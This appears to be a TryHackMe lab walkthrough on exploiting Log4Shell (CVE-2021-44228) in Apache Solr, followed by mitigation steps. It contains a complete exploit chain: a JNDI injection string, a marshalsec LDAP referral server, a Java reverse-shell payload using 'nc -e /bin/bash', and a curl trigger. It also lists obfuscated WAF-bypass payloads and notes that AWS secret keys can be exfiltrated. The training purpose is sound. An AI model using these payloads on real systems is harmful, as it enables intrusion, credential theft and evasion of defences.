On December 9th, 2021, the world was made aware of a new vulnerability identified as CVE-2021-44228, affecting the Java logging package log4j. This vulnerability earned a severity score of 10.0 (the most critical designation) and offers remote code trivial remote code execution on hosts engaging with software that utilizes this log4j version. This attack has been dubbed "Log4Shell"
Today, log4j version 2.16.0 is available and patches this vulnerability (JNDI is fully disabled, support for Message Lookups is removed, and the new DoS vulnerability CVE-2021-45046 is not present). https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0
However, the sheer danger of this vulnerability is due to how ubiquitous the logging package is. Millions of applications as well as software providers use this package as a dependency in their own code. While you may be able to patch your own codebase using log4j, other vendors and manufacturers will still need to push their own security updates downstream. Many security researchers have likened this vulnerability to that of Shellshock by the nature of its enormous attack surface. We will see this vulnerability for years to come.
For a growing community-supported list of software and services vulnerable to CVE-2021-44228, check out this GitHub repository:
This room will showcase how you can test for, exploit, and mitigate this vulnerability within Log4j.
While there are a number of other articles, blogs, resources and learning material surrounding CVE-2021-44228, I (the author of this exercise) am particularly partial to these:
The target virtual machine includes software that utilizes this vulnerable log4j package, offering you a playground to explore the vulnerability.
After deploying your virtual machine, you should find that the IP address (accessible within the TryHackMe VPN or through the provided AttackBox) is MACHINE_IP.
To begin, start with basic reconnaissance to understand what ports are open on this machine. This is best done within a Linux distribution, like Kali Linux, ParrotOS, Black Arch (or any other flavor of your choosing) with the nmap command-line tool:
Run a basic nmap scan against vulnerable machine
attackbox@tryhackme$ nmap -v MACHINE_IPThe application present on this target specifically uses ports that may not be immediately noticed by nmap. For the "whole picture perspective," scan all ports like so:
Scan all ports on machine via nmap
attackbox@tryhackme$ nmap -v -p- MACHINE_IPThis target machine is running Apache Solr 8.11.0, one example of software that is known to include this vulnerable log4j package. For the sake of showcasing this vulnerability, the application runs on Java 1.8.0_181.
Explore the web interface accessible at http://MACHINE_IP:8983 and click around to get a feel for the application. For more detail on Apache Solr, please refer to their official website. https://solr.apache.org/
This instance of Apache Solr is provisioned with no data whatsoever. It is a flat, vanilla, and absolutely minimum installation -- yet at its core it is still vulnerable to this CVE-2021-44228.
Note that the URL endpoint that you have just uncovered needs to be prefaced with the solr/ prefix when viewing it from the web interface. This means that you should visit:
http://MACHINE_IP:8983/solr/admin/cores
You also noticed that params seems to be included in the log file. At this point, you may already be beginning to see the attack vector.
The log4j package adds extra logic to logs by "parsing" entries, ultimately to enrich the data -- but may additionally take actions and even evaluate code based off the entry data. This is the gist of CVE-2021-44228. Other syntax might be in fact executed just as it is entered into log files.
Some examples of this syntax are:
${sys:os.name}${sys:user.name}${log4j:configParentLocation}${ENV:PATH}${ENV:HOSTNAME}${java:version}You may already know the general payload to abuse this log4j vulnerability. The format of the usual syntax that takes advantage of this looks like so:
${jndi:ldap://ATTACKERCONTROLLEDHOST}
This syntax indicates that the log4j will invoke functionality from "JNDI", or the "Java Naming and Directory Interface." Ultimately, this can be used to access external resources, or "references," which is what is weaponized in this attack.
Notice the ldap:// schema. This indicates that the target will reach out to an endpoint (an attacker controlled location, in the case of this attack) via the LDAP protocol. For the sake of brevity, we will not need to cover all the ins-and-outs and details of LDAP here, but know that this is something we will need to work with as we refine our attack.
For now, know that the target will in fact make a connection to an external location. This is indicated by the ATTACKERCONTROLLEDHOST placeholder in the above syntax. You, acting as the attacker in this scenario, can host a simple listener to view this connection.
The next question is, where could we enter this syntax?
Anywhere that has data logged by the application.
This is the crux of this vulnerability. Unfortunately, it is very hard to determine where the attack surface is for different applications, and ergo, what applications are in fact vulnerable. Simply seeing the presence of log4j files doesn't clue in on the exact version number, or even where or how the application might use the package.
Think back to the previous task. You already discovered that you could supply params to the /solr/admin/cores URL, and now that you have a better understanding of how log4j works, you should understand that this is where you supply your inject syntax. You can simply supply HTTP GET variables or parameters which will then processed and parsed by log4j. All it takes is this single line of text -- and that makes this vulnerability extremely easy to exploit.
Other locations you might supply this JNDI syntax:
User-Agent, X-Forwarded-For, or other customizable headersIf you would like more information on this JNDI attack vector, please review this Black Hat USA presentation from 2016.
At this point, you have verified the target is in fact vulnerable by seeing this connection caught in your netcat listener. However, it made an LDAP request... so all your netcat listener may have seen was non-printable characters (strange looking bytes). We can now build upon this foundation to respond with a real LDAP handler.
We will utilize a open-source and public utility to stage an "LDAP Referral Server". This will be used to essentially redirect the initial request of the victim to another location, where you can host a secondary payload that will ultimately run code on the target. This breaks down like so:
${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Serverhttp://attackerserver/resourcehttp://attackerserver/resourceThis means we will need an HTTP server, which we could simply host with any of the following options (serving on port 8000):
python3 -m http.serverphp -S 0.0.0.0:8000busybox httpd or formal web service you might like)If you get stuck on any of the following steps, we have a video showcasing (using the AttackBox) each step to gain remote code execution: https://youtu.be/OJRqyCHheRE
The first order of business however is obtaining the LDAP Referral Server. We will use the marshalsec utility offered at https://github.com/mbechler/marshalsec
Ultimately, this needs to run Java. Reviewing the README for this utility, it suggests using Java 8. (You may or may not have success using a different version, but to "play by the rules," we will match the same version of Java used on the target virtual machine)
If you are using the TryHackMe AttackBox, you do NOT need to follow the below steps - move onto the next question.
See steps to installing Java 8 locally (follow only if not using AttackBox)
Next we will need to retrieve the marshalsec utility referenced previously. If you're on the AttackBox, navigate to /root/Rooms/solar/marshalsec
Navigate to marshalsec folder
attackbox@tryhackme$ cd /root/Rooms/solar/marshalsecSee steps to download marshalsec locally (follow only if not using AttackBox)
We must build marshalsec with the Java builder maven. If you do not yet have maven on your system, you can install it through your package manager (not needed if you're using the AttackBox): sudo apt install maven
Next, run the command to build the marshalsec utility:
Build marshalsec tool with maven
attackbox@tryhackme:~/root/Rooms/solar/marshalsec$ mvn clean package -DskipTestsPlease note, the AttackBox for free users doesn't have internet and won't install the maven packages. Either subscribe to complete this lab through the AttackBox, or install the marshlsec tool locally.
With the marshalsec utility built, we can start an LDAP referral server to direct connections to our secondary HTTP server (which we will prepare in just a moment). You are more than welcome to dig into the usage, parameters and other settings that can be configured with this tool -- but for the sake of demonstration, the syntax to start the LDAP server is as follows:
Start LDAP Server
attackbox@tryhackme:~/root/../marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000.
What is the output of running this command? (You should leave this terminal window open as it will be actively awaiting connections)
Now that our LDAP server is ready and waiting, we can open a second terminal window to prepare and our final payload and secondary HTTP server.
Ultimately, the log4j vulnerability will execute arbitrary code that you craft within the Java programming language. If you aren't familiar with Java, don't fret -- we will use simple syntax that simply "shells out" to running a system command. In fact, we will retrieve a reverse-shell connection so we can gain control over the target machine!
Create and move into a new directory where you might host this payload. First, create your payload in a text editor of your choice (mousepad, nano, vim, Sublime Text, VS Code, whatever), with the specific name Exploit.java:
Save the Java exploit code & change to use your IP
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}Modify your attacker IP address and port number as appropriate (we are using 9999 as the example port number as before).
For this payload, you can see we will execute a command on the target, specifically nc -e /bin/bash to call back to our our attacker machine. This target has been configured with ncat for ease of exploitation, though you are more than welcome to experiment with other payloads.
Compile your payload with javac Exploit.java -source 8 -target 8 and verify it succeeded by running the ls command and finding a newly created Exploit.class file; remove "-source 8 -target 8" from command if not using attackbox.
Compile Java exploit code
attackbox@tryhackme$ javac Exploit.java -source 8 -target 8Run the above in the same folder as where you saved the Exploit.java file
With your payload created and compiled, you can now host it by spinning up a temporary HTTP server.
Host the exploit Java file via HTTP
attackbox@tryhackme$ python3 -m http.serverYour payload is created and compiled, it is hosted with an HTTP server in one terminal, your LDAP referral server is up and waiting in another terminal -- next prepare a netcat listener to catch your reverse shell in yet another new terminal window:
Prepare your netcat listener
attackbox@tryhackme$ nc -lnvp 9999Finally, all that is left to do is trigger the exploit and fire off our JNDI syntax! Note the changes in port number (now referring to our LDAP server) and the resource we retrieve, specifying our exploit:
Trigger the exploit and fire off our JNDI syntax
attackbox@tryhackme$ curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'Modify your attacker IP address as appropriate.
You have now received initial access and command-and-control on a vanilla, freshly installed Apache Solr instance. This is just one example of many, many vulnerable applications affected by this log4j vulnerability.
At this point, a threat actor can realistically do whatever they would like with the victim -- whether it be privilege escalation, exfiltration, install persistence, perform lateral movement or any other post-exploitation -- potentially dropping cryptocurrency miners, remote access trojans, beacons and implants or even deploying ransomware.
After receiving a reverse shell, feel free to experiment with other commands you could run with your Exploit.java payload. As an exercise for the reader -- can you get a Meterpreter shell loaded? How about an Empire agent? A Cobalt Strike beacon?
Now that you have gained a reverse shell connection on the victim machine, you can continue to take any action you might like.
To better understand this log4j vulnerability, let's grant ourselves "better access" so we can explore the machine, analyze the affected logs, and even mitigate the vulnerability!
You may have noticed from your earlier nmap scan that SSH (port 22) was open on the host. We did not know any usernames or passwords at the point, so trying against that protocol would be useless -- but now that you have code execution as a user, you could potentially add private keys or change passwords.
Unfortunately, finding applications vulnerable to CVE-2021-44228 "Log4Shell" is hard.
Detecting exploitation might be even harder, considering the unlimited amount of potential bypasses.
With that said, the information security community has seen an incredible outpouring of effort and support to develop tooling, script, and code to better constrain this threat. While this room won't showcase every technique in detail, you can again find an enormous amount of resources online.
Below are snippets that might help either effort:
As a reminder, a massive resource is available here:
https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/
The JNDI payload that we have showcased is the standard and "typical" syntax for performing this attack.
If you are a penetration tester or a red teamer, this syntax might be caught by web application firewalls (WAFs) or easily detected. If you are a blue teamer or incident responder, you should be actively hunting for and detecting that syntax.
Because this attack leverages log4j, the payload can ultimately access all of the same expansion, substitution, and templating tricks that the package makes available. This means that a threat actor could use any sort of tricks to hide, mask, or obfuscate the payload.
With that in mind, there are honestly an unlimited number of bypasses to sneak in this syntax. While we will not be diving into the details in this exercise, you are encouraged to play with them in this environment. Read them carefully to understand what tricks are being used to masquerade the original syntax.
There are numerous resources online that showcase some examples of these bypasses, with a few offered below:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}${${::-j}ndi:rmi://attackerendpoint.com/}
Note the use of the rmi:// protocol in the last one. This is also another valid technique that can be used with the marshalsec utility -- feel free to experiment!
Additionally, within the log4j engine, you can expand arbitrary environment variables (if this wasn't already bad enough). Consider the damage that could be done even with remote code execution, but a simple LDAP connection and exfiltration of ${env:AWS_SECRET_ACCESS_KEY}
For other techniques, you are strongly encouraged t do your own research. There is a significant amount of information being shared in this Reddit thread: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/
Now that you have acted as the adversary for a little bit, please take off your hacker hat and let's mitigate the vulnerability on this vulnerable machine! Review the mitigation techniques suggested on the Apache Solr website. https://solr.apache.org/security.html
One option is to manually modify the solr.in.sh file with a specific syntax. Let's go down that route for the sake of showcasing this defensive tactic.
The Apache Solr website Security page explains that you can add this specific syntax to the solr.in.sh file:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
At the time of creating this exercise, Apache Solr 8.11.1 has not yet been released with a formal patch for CVE-2021-44228. Alongside many other software providers, the industry is frantically scrambling to patch their software and push it downstream to end users as quickly as they can.
Please be understanding of this frenzy. There are so many potential places that this log4j vulnerability could be present, we may never see the end of this vulnerability for a long, long time. The onus is on you, on me, on each and every one of us to raise awareness of this incident, and hold the community accountable for actively responding. When the time comes, roll out the patches that have been made available and continue to hunt for instances of this vulnerability. It takes a village.
Where appropriate, please ensure you patch the logging-log4j package to version 2.16.0 or higher (as new releases come available). In version 2.16.0 , JNDI is fully disabled, support for Message Lookups is removed, and the new DoS vulnerability CVE-2021-45046 is not present. Download this release here: https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0
If you're responsible for identifying vulnerable services that use log4j, there is a list of a few majorly affected services/products here.